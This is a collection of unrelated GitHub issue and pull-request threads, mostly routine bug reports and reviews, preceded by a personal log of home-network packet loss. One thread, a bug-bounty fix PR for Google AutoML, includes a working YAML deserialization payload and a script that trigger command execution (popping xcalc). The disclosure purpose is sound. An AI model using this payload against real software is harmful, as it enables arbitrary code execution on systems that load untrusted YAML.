Q. Is it possible to split payment methods for Internet and TV?
A. For the service for home it's probably impossible or unreasonable.

Having Business Internet account is the way to go. They are not sure if having business Internet AND cable TV service separately at the same home location is possible. Contact them again when their business department is open (8-6 Mountain time).

Contact NETGEAR Support
Thanks! We’re ready to help you with this product:
Product Model:  C3700
Serial Number:  (CUT)
Purchase Date:  Nov 20, 2015
Suggested Answers from our Knowledge base:

    How do I perform a factory reset on my NETGEAR router?
    Router Initial Setup FAQ
    What is the difference between 2.4 GHz and 5 GHz wireless frequencies?
    Resolving poor 5GHz wireless range/signal from my NETGEAR router
    What’s the latest firmware version of my NETGEAR cable modem or modem router?
    How to update firmware on your NETGEAR product
    How do I change the wireless channel on my NETGEAR router?
    No internet connection detected - ISP contact details
    NETGEAR Open Source Code for Programmers (GPL)
    Will my USB drive work with ReadySHARE

Show more answers related to my question
[Collapse]
I cannot find an answer to my problem, I would like to contact NETGEAR support.
Based on your serial number and purchase date, NETGEAR can offer you the following support options:
Complimentary
Ask our community
Search our knowledge base
Paid Premium Support

Your complimentary 90 day technical support expired on Feb 18, 2016.

Purchase GearHead Premium Support to extend the support coverage of your product.
Or purchase by calling 1-888-939-9092 (within US & Canada, Intl. customers see link below) - Please have your credit card ready when calling.
Learn more about Gearhead

Your product hardware warranty expired on Nov 19, 2016.

Had to restart bb router 4 times in the last 2.5 hrs.

Comcast has been down since 1207am and lots of neighbors have complained on nextdoor.com. Seems like it just got back since I now see one of the laptop just connected to vpn I can see from outside.

After the recent cable outage of Comcast, it's been fairly stable. This tells me that the issue might have lied on Comcast's side, not the BB router, as opposed to what the tech support who sounded to me reliable said https://github.com/130s/hut_10sqft/issues/238#issuecomment-366484361.
--- google.com ping statistics ---
89393 packets transmitted, 88775 received, 0% packet loss, time 149636485ms
rtt min/avg/max/mdev = 8.110/21.633/547.258/30.535 ms

For the last few days, specifically from May 4th, Internet has been bad (30 - 50% packet loss on ping). I had to restart my BB router 10 times for total to temporarily fix the issue.
Looks like some neighbors have had the issue.

Today Comcast has been awfully intermittent. ping has been dropping 10-30% of packets all day. Restarting the router temporarily fixes the issue but the issue comes back in less than an hour. .

Today I had to reboot bb router 4 times so far withing 10 hrs range.

Throughout today ping kept losing 10 to 40% packets constantly on multiple computers at my home (Linux, OSX) in Sacramento, CA.. I had to reboot the router 5+ times and right after the reboot the network recovers.

Too premature assumption, but I found on Ubuntu Trusty host that ping didn't lose many packets when Firefox was not running. Then it starts losing a lot after FF started.
Now I'm running a set of experiments with FF running.

Just started FF without loading any tabs except for the one a focus was on before the FF was closed the last time.

Just started FF without loading any tabs except for the one a focus was on before the FF was closed the last time.

This seemed fine.
$ ping google.com
:
--- google.com ping statistics ---
1347 packets transmitted, 1347 received, 0% packet loss, time 1347919ms
rtt min/avg/max/mdev = 13.166/15.355/77.144/2.800 ms

Opened a Gmail tab. Also opened a github.com tab for this ticket.

Opened the 2nd Gmail tab along with the 1st Gmail tab.

$ ping google.com
:
4321 packets transmitted, 4318 received, 0% packet loss, time 4325879ms
rtt min/avg/max/mdev = 10.920/20.887/369.756/29.983 ms

Open Google Photos.

Open Google Photos.

$ ping google.com
:
6879 packets transmitted, 6879 received, 0% packet loss, time 6887432ms
rtt min/avg/max/mdev = 10.026/15.545/77.297/2.632 ms

Open Google Calendar.

Open Google Calendar (accidentally opened https://gitlab.com/groups/ORGORG/-/boards/boardID?scope=all&utf8=✓&state=opened as well)

$ ping google.com
:
11700 packets transmitted, 11693 received, 0% packet loss, time 11714929ms
rtt min/avg/max/mdev = 9.732/26.818/669.047/50.134 ms

Opened https://plusonerobotics.sharepoint.com

Opened https://ORGORG.sharepoint.com

$ ping google.com
:
4798 packets transmitted, 4791 received, 0% packet loss, time 4803552ms
rtt min/avg/max/mdev = 10.635/44.135/390.668/67.730 ms

Open drive.google.com

Open drive.google.com

$ ping google.com
:
4825 packets transmitted, 4825 received, 0% packet loss, time 4830454ms
rtt min/avg/max/mdev = 9.685/16.542/233.818/11.688 ms

Conclusion of a day: Firefox (by itself) might have not affected network stability (glad to come up with this result).

Moved to https://github.com/130s/30y-130s_life/issues/534#issuecomment-560052809. It's been stable for a month btw.

license_source: bigquery


text:
【错误反馈】（在此简单描述碰到的问题）

运行环境
Python3.10
NB插件及版本号
2.5.8
MC插件及版本号
0.0.2
错误描述
Traceback (most recent call last):
File "", line 13, in
File "E:\3\Nonebot.venv\lib\site-packages\nonebot\internal\driver\abstract.py", line 91, in register_adapter
self.adapters[name] = adapter(self, **kwargs)
File "E:\3\Nonebot.venv\lib\site-packages\nonebot\adapters\minecraft\adapter.py", line 71, in init
self.minecraft_config: Config = get_plugin_config(Config)
File "E:\3\Nonebot.venv\lib\site-packages\nonebot\plugin_init.py", line 173, in get_plugin_config
return type_validate_python(config, model_dump(get_driver().config))
File "E:\3\Nonebot.venv\lib\site-packages\nonebot\compat.py", line 225, in type_validate_python
return TypeAdapter(type_).validate_python(data)
File "E:\3\Nonebot.venv\lib\site-packages\pydantic\type_adapter.py", line 142, in wrapped
return func(self, *args, **kwargs)
File "E:\3\Nonebot.venv\lib\site-packages\pydantic\type_adapter.py", line 373, in validate_python
return self.validator.validate_python(object, strict=strict, from_attributes=from_attributes, context=context)
pydantic_core._pydantic_core.ValidationError: 1 validation error for Config
minecraft_server_rcon
Input should be a valid dictionary [type=dict_type, input_value='{\n    "Server": { # 服...# rcon 密码\n    }\n}', input_type=str]
For further information visit https://errors.pydantic.dev/2.8/v/dict_type
报错日志（如果有）
Traceback (most recent call last):
  File "<string>", line 13, in <module>
  File "E:\3\Nonebot\.venv\lib\site-packages\nonebot\internal\driver\abstract.py", line 91, in register_adapter
    self._adapters[name] = adapter(self, **kwargs)
  File "E:\3\Nonebot\.venv\lib\site-packages\nonebot\adapters\minecraft\adapter.py", line 71, in __init__
    self.minecraft_config: Config = get_plugin_config(Config)
  File "E:\3\Nonebot\.venv\lib\site-packages\nonebot\plugin\__init__.py", line 173, in get_plugin_config
    return type_validate_python(config, model_dump(get_driver().config))
  File "E:\3\Nonebot\.venv\lib\site-packages\nonebot\compat.py", line 225, in type_validate_python
    return TypeAdapter(type_).validate_python(data)
  File "E:\3\Nonebot\.venv\lib\site-packages\pydantic\type_adapter.py", line 142, in wrapped
    return func(self, *args, **kwargs)
  File "E:\3\Nonebot\.venv\lib\site-packages\pydantic\type_adapter.py", line 373, in validate_python
    return self.validator.validate_python(object, strict=strict, from_attributes=from_attributes, context=context)
pydantic_core._pydantic_core.ValidationError: 1 validation error for Config
minecraft_server_rcon
  Input should be a valid dictionary [type=dict_type, input_value='{\n    "Server": { # 服...# rcon 密码\n    }\n}', input_type=str]
    For further information visit https://errors.pydantic.dev/2.8/v/dict_type

不认真看wiki导致的


text:
log4js for koa

https://github.com/dominhhai/koa-log4js/tree/v2.x
它是一个不错的实现方案，感觉如果我自己写也不过如此

log4js.configure('config/log4js.json', { reloadSecs: 300 });
app.use(log4js.koaLogger(log4js.getLogger("http"), { level: 'auto' }))

license: mit


text:
Is it possible to have multiple same types defined inside the same project?

We have a GraphQL server that fetches data from multiple different micro services with GraphQL APIs, which we would like to mock inside the main project and simply instantiate Apollo Servers for each of them. This doesn't work if some types are named the same among them (which is unfortunately our case).
It would be nice if we could add some sort of "instance context" to each decorator so it would tell the decorators to manage these types separately. A  string namespace would be sufficient (and ideally if not specified, it would save it to some sort of "general" namespace so we'd never get conflicts.)
I wonder if this would be a lot of work.
To clarify, the services are not deployed yet so we need a way to mock them and this would be easier than having a separate repository for each of them.

I'm not sure if it's related to #110 or #156? 😕

@vnenkpet
Can you describe your problem and proposed solution in more details?
Would #110 or #156 fix your problem?

There won't be {context: "schema1"} for sure.
But you will be able to achieve the same just with proper imports:
// ./app/schema1/user.type.ts
@ObjectType()
export class User {
  // ...
}

// ./app/schema1/user.resolver.ts
import { User } from "./user.type.ts"
@Resolver()
export default class UserResolver {
  // ...
  @Query(returns => [User])
  users() {
    // ...
  }
}

// ./app/schemas.ts
import Schema1UserResolver from "./schema1/user.resolver.ts"
import Schema2UserResolver from "./schema2/user.resolver.ts"

const schema1 = buildSchemaSync({
  resolvers: [Schema1UserResolver],
});
const schema2 = buildSchemaSync({
  resolvers: [Schema2UserResolver],
});

There will be no global metadata leaks, so only the types used by one schema (and it's resolvers) will be emitted.
So closing as a duplicate of #110 🔒


text:
TypeError: Reflect.getMetadata is not a function

Hi there :wave:
I've posted this question on the apollo slack #general and after looking up and testing all projects related to this on github I finally stumble upon this amazing project. I am very hopeful on this one.
Our project have a lot of types definitions written in typescript as interfaces, so reusing them would be a great benefit in terms of time, reusability, type safety ,stability and greatness :)
So thank you for maintaining this 👍
Still, I am having a hard time trying to get a minimal viable example working.
"dependencies": {
  "reflect-metadata": "^0.1.12",
  "type-graphql": "^0.1.2"
}

// example.ts
import {Field, GraphQLObjectType, ID} from 'type-graphql';

@GraphQLObjectType()
class Recipe {
    @Field(type => ID)
    readonly id: string;

    @Field()
    title: string;

    @Field({nullable: true})
    description?: string;

    @Field({nullable: true})
    averageRating?: number;
}

// test.ts
import {buildSchema} from 'type-graphql';
import {Recipe} from './example';

function test() {
    const schema = buildSchema({
        resolvers: [Recipe],
    });
    console.log(schema);
}

test();

ts-node -O '{"module": "commonjs"}' test.ts

[..]\node_modules\type-graphql\helpers\findType.js:7
    const reflectedType = Reflect.getMetadata(metadataKey, prototype.constructor.prototype, propertyKey);
                                  ^
TypeError: Reflect.getMetadata is not a function
    at Object.findType ([..]\node_modules\type-graphql\helpers\findType.js:7:35)
    at Field ([..]\node_modules\type-graphql\decorators\Field.js:14:53)
    at __decorate ([..]\src\main\ts\models\example\example.js:5:110)
    at Object.<anonymous> ([..]\src\main\ts\models\example\example.ts:6:5)
    at Module._compile (module.js:660:30)
    at Object.Module._extensions..js (module.js:671:10)
    at Module.load (module.js:573:32)
    at tryModuleLoad (module.js:513:12)
    at Function.Module._load (module.js:505:3)
    at Module.require (module.js:604:17)

Any help would be much appreciated.

Hi @4F2E4A2E!
Thanks, I'm glad to hear that 😊
Reflect.getMetadata is not a function means you haven't imported the reflect-metadata shim. Please take a look at the installation section:
https://github.com/19majkel94/type-graphql#installation

reflect-metadata shim is required:
make sure to import it on top of your entry file (before you use/import type-graphql or your resolvers):

You can see this in the examples on the repo too:
https://github.com/19majkel94/type-graphql/blob/master/examples/01-simple-usage/index.ts#L1

doh! Of course i forgot about the reflect-metadata import, sorry for that. The minimal example worked just fine.
Is there also a way of converting interfaces directly? Like so:
@GraphQLObjectType()
export interface Recipe {
    @Field(type => ID)
    readonly id: string;

    @Field()
    title: string;

    @Field({nullable: true})
    description?: string;

    @Field({nullable: true})
    averageRating?: number;
}

No, interfaces are removed at compilation so they doesn't exist at runtime. However you can just use abstract classes as interfaces 😉
@GraphQLObjectType()
export abstract class IRecipe {
    @Field(type => ID)
    readonly id: string;

    @Field()
    title: string;

    @Field({nullable: true})
    description?: string;

    @Field({nullable: true})
    averageRating?: number;
}

class SpecialRecipe implements IRecipe {
  // impl...
}

It's working fine this way. I still will pursue a way to automatise it in order to not be invasive with the already declared interface types.
Does this mean that this issue #6 is obsolete? What is planed to support there?

I still will pursue a way to automatise it in order to not be invasive with the already declared interface types.

abstract class  is a drop-in replacement for TS interface, you can just do text search&replace and it will work in your codebase 😉

abstract class is a drop-in replacement for TS interface, you can just do text search&replace and it will work in your codebase
Thank you for that info, i will do exactly that, but again, why not do this in here and replace it seamless? This way interfaces would work as well without anyone having to change their typings, right? This way more people and implementations could be reached. Sometimes you cant't change the entity definition.

Because interfaces doesn't exist in JS (runtime) so they are removed on TypeScript compilation step. So when the app starts, I'm not able to figure out what is the type, what fields does it have, etc. so there's no way to generate the schema with GQL types from interfaces.
The only way is to use classes and decorators to collect metadata emitted by TypeScript compiler, just the way TypeORM or class-validiator works. Or create an "offline" code generator that will read the source and comments, just like ts2gql works, but it's not the goal of TypeGraphQL.
I am closing this issue as the main problem is solved. If you want to know more details about types reflection we can discuss on gitter 😉
https://gitter.im/type-graphql/Lobby


text:
[DEV] Typescript 5.2.2 + support new Docusaurus tsconfig

Summary
Docusaurus 3.0 requires typescript to 5.1+. This MR updates project deps to 5.2.2 and supports the new Docusaurus tsconfig via @docusaurus/tsconfig.
Related Issues and MRs
Closing #53
What changed

Upgrade typescript to 5.2.2 within the website workspace
Remove @tsconfig/docusaurus and replace with @docusaurus/tsconfig
Extend new tsconfig from tsconfig.json

Steps for reviewer

Pull changes and install

git checkout brian/mdx-3
yarn install

Verify typescipt has been updated throughout the project
Verify our plugins build properly

yarn dev docusaurus-plugin-stored-data

yarn dev jest-docusaurus

Ensure project has been typechecked

yarn typecheck

Additional resources

https://docusaurus.io/docs/migration/v3#typescript-v51

This looks fantastic. The move to nodeLinker seems reasonable. Quite a nice job getting to 5.2.2!

authors: jodyheavener schneedotdev


text:
Add async_any_callback and async_callback macro with it's docs

Do #395

Seems like there is an error with formatting, please also fix that :)
For the failing test I will investigate what is going on.

I got it, it's from tokio's feature
I'll just add it and bump the version

good……
so now is the doc test issue

I fixed the tokio CI issue in main, feel free to rebase :)

Just need to fix the doctests and we're good to go! :)

It would be great to get this into the new version! If the three comments I posted are resolved and all tests pass I am happy to merge.

@1c3t3a please approval the test, I think it will do it

hmmm, A quick fix

19 min "quick fix"
Just try this

I think this won't work either, the issue is as I pointed out, that we're missing an async main function. Please take a look at my comment regarding wrapping the code in the comment.

I think this won't work either, the issue is as I pointed out, that we're missing an async main function. Please take a look at my comment regarding wrapping the code in the comment.

oh, sorry about that, mybad

what……
fine……

I have tested it locally, looking good

@1c3t3a one last time today, please approve the test

finally！
today is a good day~

Great! Finally passed :) Could you please remove the change of base64 version please? Then we're ready to merge!

@1c3t3a there you go~


text:
Tower of Hanoi Problem in CPP Folder

@1dharode I wanted to add a solution for Tower of Hanoi Problem in CPP Folder for Hacktoberfest2022. Please assign me this issue.

Can i add a solution?

Please assign me this issue.

Hey! Would love to contribute to this problem.

Hey! I'd like to take up this issue

@1dharode I want to add a solution to this issue . Kindly please assign me this task.

okay

okay

Please assign me this task @1dharode

@1dharode I also want to work on this problem.
As a beginner, I want to contribute to this problem.
Kindly assign me this issue.

Can you please assign this issue to me ?

hey please  assign me  this issue as a part of  hacktoberfest.

sir  @ayushbali  @1dharode  can you pls assign this issue to me


text:
anonymous structures support

Gopium supports only named structs as targets for all transformations.
Originally this was done by design, as supposedly all "important" structs, performance of which matters, should be named anyhow and originally it simplified internal implementation.
But there are some counterexample, for example take for consideration:
type Bank struct {
	// anonymous structure that won't be targeted by Gopium
	Departments []struct{
		ID string
		Open bool
		Workers int64
	}
	Assets float64
}

I still have doubts wherether it's important feature for Gopium or not.
As implementation will definitely require recurrent strategies. So generally for each struct we need to build structure tree and postorder traverse it, to support generic cases like this properly:
type a struct {
	b struct{
		c struct {
			d struct {
				e int32
			}
		}
	}
	f struct {
		g struct {
			h string
		}
		i struct {
			k string
		}
	}
}

So I'm opening this issue to gather feedback and ideas whether Gopium needs this feature or not.

Closing this as non priority issue.

Closing this as non priority issue.


text:
New Hackers page

Forking repository is not clear
not understanding that pulling repo from GitHub down to local computer
more detail about the jump between  using the client and getting the text editor
any steps y’all would get lost at if i weren’t there
fork
desktop client
text editor & code locally
Understanding git and GitHub
- not clear at understanding at all
- good explanation describing differences between git & GitHub
- read before the video
condensing the video
steps for the video
how could be improved
embedded videos or links
what if any videos could i cut out
edit video showing git & GitHub
what would you want to know more about i.e. further steps
what repositories to work on etc?
programming languages
descriptions
fork this repository - describe what forking is a screenshot to see fork button
more description under pick your poison. you only need one but you can choose one (doesn’t matter which one you choose) starter pokemon
change stuff in file: name, description, about
form: this is their first introduction to programming
1st run = 1 hr 45 min

There is a markdown cheat sheet that I can use as well.


text:
Component - CreateUser

[X] CreateUser component form loads with 3 required fields
[X] Can add to database
[X] Redirects to home page after signing up
[ ] Automatically sign in after signing up
[ ] Navbar changes to reflect logged in after signing up

Issue: When you sign up, you are not automatically logged in afterward!


text:
Profile linking with Twitter not working

🐞 Problem

Link with twitter feature leads to error

🎯 Goal

Users should be able to sync their 24pullrequests account with twitter to ensure faster logins or tweets
💡 Possible solutions

Twitter API should be gotten and consumed into the app.
If it already exists, bug should be fixed.
📋  Steps to solve the problem

Comment below about what you've started working on.
Add, commit, push your changes
Submit a pull request and add this in comments - Addresses #<put issue number here>
Ask for a review in comments section of pull request
Celebrate your contribution to this project 🎉

@BolajiAyodeji thanks for reporting, I've updated the twitter oauth callback url to point to the https url and it appears to be working again now, can you give it a try?

Just tested!
It worked.

Thanks for fixing @andrew

authors: BolajiAyodeji andrew


text:
使用SharedContext模式调整FreeSql.Tests的SqlServer连接

#10

手机操作了，老哥晚上活动的吗

有空关注下更新日志，这两天增加了一点新功能

公司有限制，无法做类似的操作:joy:
只能晚上洗完澡再捣鼓捣鼓…

SQL server有些bug，你抽时间测试一下吧。
我今晚再pr点东西。
把清理测试数据给加一下

刚才我使用新的数据库进行了测试，发现的问题已解决，是用例写得不好。
1、Convert.ToBoolean byte 不法转为 string；
2、Convert.ToByte 测试数据溢出，超过了255；
3、Query 内的 song 表不存在，已改为存在的表；


text:
It does not work !

Hello !
I am trying to use a LED Display and an ESP32.
Display: 2727 SMD P5 64x32
Board: ESP32 Wrover-B DevKitV4
I've done the wiring as it was written in the ReadMe. I thought I did a mistake so I redid the wiring and still nothing.
From the Left HUB75 to the Right HUB75 there are:
R2 to R1
G1 to R2
G2 to G1
B1 to G2
B2 to B1
Where do I put Ground to ?
The only Ground I have is that on the ESP32. There are no pins on either the HUB75 that go into the Ground. Is that how it's supposed to be ?
I've also redefined the GPIO as follows:
#define P_LAT 22
#define P_A 19
#define P_B 23
#define P_C 18
#define P_D 4
#define P_OE 25
I don't understand what to do with E. Is E a GPIO on the ESP or is it a pin on the HUB75 ?
I've tried using the Pattern_Test example:
#include <PxMatrix.h>

#define P_LAT 22
#define P_A 19
#define P_B 23
#define P_C 18
#define P_D 4
#define P_E 15
#define P_OE 25

hw_timer_t * timer = NULL;
portMUX_TYPE timerMux = portMUX_INITIALIZER_UNLOCKED;

// Pins for LED MATRIX

//PxMATRIX display(32,16,P_LAT, P_OE,P_A,P_B,P_C);
PxMATRIX display(64,32,P_LAT, P_OE,P_A,P_B,P_C,P_D);
//PxMATRIX display(64,64,P_LAT, P_OE,P_A,P_B,P_C,P_D,P_E);

void IRAM_ATTR display_updater(){
  // Increment the counter and set the time of ISR
  portENTER_CRITICAL_ISR(&timerMux);
  //isplay.display(70);
  display.displayTestPattern(70);
  portEXIT_CRITICAL_ISR(&timerMux);
}

uint16_t myCYAN = display.color565(0, 255, 255);
void setup() {
  // put your setup code here, to run once:
Serial.begin(9600);
  display.begin(16);
  //display.setScanPattern(x);
  //display.setMuxPattern(STRAIGHT);
  display.flushDisplay();
  display.setTextColor(myCYAN);
  display.setCursor(2,0);
  display.print("Pixel");
  Serial.println("hello");

   timer = timerBegin(0, 80, true);
   timerAttachInterrupt(timer, &display_updater, true);
   timerAlarmWrite(timer, 2000, true);
   timerAlarmEnable(timer);

  delay(1000);
}

void loop() {

 delay(100);

}

I've tried using display.setScanPattern(x) with all the values: LINE, ZIGZAG, ZAGGIZ, WZAGZIG, VZAG.
I've also used: display.setMuxPattern(x) WIth BINARY and STRAIGHT.
And nothing changes the output. It stays the same with either functions.
With or without those 2 function the result is the same gibberish.
And the pattern test isn't like the one in your .gif. Mine is different with shifted rows, wrong colors, etc.
What do you think the issue is ?

Is this library not receiving support anymore ?


text:
문법

Environment (환경)

OS : win10
Python version :
openNAMU version : 3.18
Skin : 리버티
Skin version : 최신

Explanation (설명)
나무위키보면 틀에 펼치기 접기를 누르면 펼쳐지고 접혀지는데 오픈나무에서는 (+)로 떠서 불편합니다
개선해주실생각은 없으신가요
Screenshot (스크린샷)

사실 별로 없긴 한데 선택 가능하도록 개선 해볼 생각은 있습니다

그냥 만들다가 귀찮아서 나무위키처럼 바꿨습니다


text:
Add hub engineer to GitHub org as admin to facilitate hub setup process

When setting up a hub, we have to do an OAuth approval process that requires action from the admin of the GitHub org that is going to be used to log in. This requires a back-and-forth with the GitHub admin that can take sometime (see https://github.com/2i2c-org/infrastructure/issues/1702#issuecomment-1285882952) for example.
Instead, part of our hub setup process should include:

Add the hub engineer in question as an org admin to the GitHub org that'll be used for access control
They remove themselves once auth is set up

I have documented this in commit 53dfe3a (#1814) of #1814, but I think to truly close this issue, we also need to update the "New Hub" issue(s) to ensure that this is a checklist item there.
In general, I don't think those issue templates are yet configured to capture whether a community wants github org/team style auth yet. We should upgrade that.


text:
Regenerate credentials for SMCE-VEDA before 24 May 2023

Context
We are reaching the end of the 60 day life span for the credentials on SMCE-VEDA.
Proposal
Instructions to follow:

[ ] https://github.com/2i2c-org/infrastructure/issues/2434

Updates and actions
No response

I have re-assigned this operation to @pnasrat, so we have another engineer doing the update after @yuvipanda's instructions (captured in the referenced above issue).

So assuming I did the sts mfa auth (which looked right). I am unsure if I actually have the right perms on the cluster or if my config is wrong. Will chat with @yuvipanda tomorrow
│ Error: reading IAM User (hub-continuous-deployer): AccessDenied: User: arn:aws:iam::444055461661:user/pnasrat is not authorized to perform: iam:GetUser on resource: user hub-continuous-deployer because no identity-based policy allows the iam:GetUser action

@pnasrat looks like the following command was not run earlier:
eksctl create iamidentitymapping \
   --cluster nasa-veda \
   --region us-west-2 \
   --arn arn:aws:iam::444055461661:user/pnasrat \
   --username pnasrat  \
   --group system:masters

Just did that, maybe that helps?

The longer term solution to this eksctl business is to switch to using an IAM role to create these clusters, and then we can all assume this role

So
aws eks list-clusters  --region us-west-2
{
    "clusters": [
        "dh-veda",
        "nasa-veda",
        "smce-sandbox-staging"
    ]
}

However still getting the terraform error on IAM type permissions wondering if another permission is missing. This can also be replicated by
aws iam get-user --user-name hub-continuous-deployer

An error occurred (AccessDenied) when calling the GetUser operation: User: arn:aws:iam::444055461661:user/pnasrat is not authorized to perform: iam:GetUser on resource: user hub-continuous-deployer because no identity-based policy allows the iam:GetUser action

@yuvipanda I'm wondering if I'm missing another IAM role/policy - note I can't list policies or roles to check, get-user --user-name pnasrat works correctly.

@pnasrat indeed, we have different credentials.

is for me (and other 2i2c engineers) and

is for you.
Thankfully I had the permissions to grant you permissions! Now you also have the following permission:

We should document this as the set of permissions needed somewhere. I had also opened https://github.com/2i2c-org/meta/issues/525 to make sure we get paid for this from next contract.

Hi @pnasrat . Could you please confirm that this credentials got regenerated?

THis has been done.

Fixed by  #2605

authors: damianavila jmunroe pnasrat yuvipanda


text:
Add farallon prod hub

Moved data over with AWS DataSync (https://aws.amazon.com/datasync/)
Image tag update to satisfy https://github.com/2i2c-org/pangeo-hubs/issues/2#issuecomment-866210082

Ref https://github.com/2i2c-org/pilot-hubs/issues/368

@damianavila done!

ty, @damianavila


text:
🛑 MS - API-ORCHESTRATOR is down

In b541c95, MS - API-ORCHESTRATOR ($MS_API_ORCHESTRATOR_URL) was down:

HTTP code: 0
Response time: 0 ms

Resolved: MS - API-ORCHESTRATOR is back up in 3e51d23 after 17 minutes.


text:
Stop creating issues about virus detection

it's a false positive, ask google on how to whitelist it
you can always build it yourself i you don't trust the exe

"But it was fine before"
Ok? Well not anymore it seems, and there is nothing I can do to remove the detections. Well, at least for now.
Interactions are now locked for 24hrs from now

https://github.com/34736384/genshin-fps-unlock/discussions/296


text:
CodeLingo Setup

Thanks for accepting @CodeLingoBot's Pull Request, I hope it was helpful.
We can also code up Tenets based on any project specific principles or guidelines you may have. In addition to fixing the bugs, CodeLingoBot can also catch issues in Pull Requests and keep your contributor docs in sync with the encoded Tenets.
We're happy to do all this for your project for free if you're happy to give some feedback on the service. Other than accepting this PR and installing the app to automatically catch pull request issues, literally two clicks, you don't have to do anything and can stop the service anytime you like. It's like having a free QA team helping you reach continuous higher standards!
Happy Coding!
CodeLingo Team

Codecov Report

Merging #315 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #315   +/-   ##
=======================================
  Coverage   98.87%   98.87%
=======================================
  Files          18       18
  Lines        3919     3919
=======================================
  Hits         3875     3875
  Misses         26       26
  Partials       18       18

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3ca3156...dcc2070. Read the comment docs.

authors: CodeLingoBot codecov-io


text:
Transform violates spec when slices are used

Slice Extension section 1.2 defines
"
[...]
Transforms: If an object references slice model data, the 3D transform matrices in
/ and  elements are limited to those that do not impact the slicing
orientation (“planar transformations”). Therefore, any transform applied (directly or indirectly)
to an object that references an  MUST have m02, m12, m20, and m21 equal to zero
and m22 equal to one
[...]"
In addition, it states:
"

Producers MUST NOT output other transformation string values than “0”, “0.” or “0.0”
with an arbitrary amount of trailing zeros for m02, m12, m20, and m21.
Producers MUST NOT output other transformation string values than “1”, “1.” or “1.0”
with an arbitrary amount of trailing zeros for m22.
"

Today, lib3mf is ignoring this rules and writing the values as they are in the transform.

@martinweismann What would be the correct behavior here? override the values or throw an error?

Hi @feliperoos , I suggest to raise an exception on export.
FYI:
Some classes(CModelMeshObject, CModelComponentsObject, and CModelBuildItem) already have a function "isValidForSlices" this might be useful for you.

I would follow the references from each build-item, or components-object (potentially via other components-objects) and check, whether the additional transformation on each reference is valid for slices.
If any target of such a reference-chain has a slicestack attached to it, you can check whether all transformations that lead to that target are valid for slices. If not, you found the violating transformation on a slicestack object.
(paraphrased from https://3mf.io/wp-content/uploads/2016/07/3MFsliceSpec.pdf , p11, "The <build> element has a single change for slice data")

All right, I've implemented the behavior on #66 and based on your comment from the spec implemented #68
It would be great if you could take a look on those.

Hi @feliperoos
thanks for your contributions.
While looking over it, I found a bigger problem in the implementation of the slice-extension: the current implementation does not allow slices on components-objects (which is allowed according to spec). https://github.com/3MFConsortium/lib3mf/pull/72 will fix this.
I would like to ask you to modify the code in your PR accordingly once https://github.com/3MFConsortium/lib3mf/pull/72 has been merged.

As far as I can tell, https://github.com/3MFConsortium/lib3mf/pull/165 + all current additions to lib3mf-v2-develop cover this issue.
Does that work for you, @feliperoos ?

authors: feliperoos martinweismann


text:
NumberPlane not showing it's lines

Describe the bug
I have used manimgl before but after changing the version (almost 4-5 months old) with new version, whenever i am running the example scene (OpeningManimExample), the lines in the NumberPlane is not showing.
Image

Version Used:
Manim - 1.1.0

See: https://github.com/3b1b/manim/discussions/1546

Thanks working now...

Thank you .... Now it's working

authors: TonyCrane aburousan


text:
Fixed-RCE

📊 Metadata *
Google Automl repository contains a list of AutoML related models and libraries.
Bounty URL: https://www.huntr.dev/bounties/1-other-automl/
⚙ Description *
Vulnerable to YAML deserialization attack caused by unsafe loading.
💻 Technical Description *
Fixed by avoiding unsafe loader.
🐛 Proof of Concept (PoC) *
Create the following PoC file:
exploit.py
import os
os.chdir('automl/efficientdet/')
exploit = '''!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
'''
os.system('rm exploit.yaml')
open('exploit.yaml','w+').write(exploit)
cmd = str("""python model_inspect.py --runmode=saved_model --model_name=efficientdet-d0 --ckpt_path=efficientdet-d0 --saved_model_dir=savedmodeldir --tensorrt=FP32  --tflite_path=efficientdet-d0.tflite --hparams=exploit.yaml""")
os.system(cmd)

Execute the commands in another terminal:
python exploit.py

xcalc will pop up.
🔥 Proof of Fix (PoF) *
After fix it will not popup a calc.
👍 User Acceptance Testing (UAT)
After fix functionality is unaffected.
🔗 Relates to...
https://www.huntr.dev/bounties/1-pip-tfx

👋 Hello, @mingxingtan - @Anon-Artist has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.
Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.
If you have any questions or need support, come and join us on our community Discord!
@mingxingtan & @Anon-Artist - thank you for your efforts in securing the world’s open source code! 🎉

👋 Hello, @mingxingtan - @Anon-Artist has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.
Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.
If you have any questions or need support, come and join us on our community Discord!
@mingxingtan & @Anon-Artist - thank you for your efforts in securing the world’s open source code! 🎉

authors: Anon-Artist huntr-helper


text:
crash when clicking E

using this mod and opening inventory while in creative , causes game to crash, and "not enough crashes" reports this mod as responsible for the crash

hi @VaporeonScripts, I can't reproduce this bug on my client, can you have the log to let me investigate more if advancement-reloaded are responsible or not please ?

I quitted fabric to use neoforge now,so I don't use it anymore

Ok thanks for your report and your response, I close this issue, feel free to open another if needed !
Have a good day :)


text:
Update changelog v0.10.2

Hi, @jquense !
Thanks for updating my favorite css-in-js library!
Could you please update CHANGELOG.md? There is no information about 0.9.18 and newer versions. I can't update the package because I don't know what's changed.
Thank you!

Hey guys, any updates here?

fixed in https://github.com/4Catalyzer/astroturf/pull/587

@taion, magnificent! Thnx.

authors: naxxateux taion vrizo


text:
Add styledTag option

css-literal-loader has tagName option to replace css.
But I need also the same for styled, because right now I am moving the big project to css-literal-loader and found 2 problems:

We have “auto-import” Babel plugin which inserts import React from 'react', etc. It will be nice to have the same for styled (because we used it in every component), but it will not work with path.get('tag.callee').referencesImport('css-literal-loader/styled').
We have automatic spelling check. To do this, we execute components in Node. Without babel loader, css throws “not in runtime” error. The fastest way to fix it just to replace import styled from '../lib/styled', where we will hack styled.css.

I know, that both reasons are very unique. But the fact that we have 2 reasons for it in the single project shows that customizing styled tag could be very useful for advanced developers.

So, I see 3 use cases:

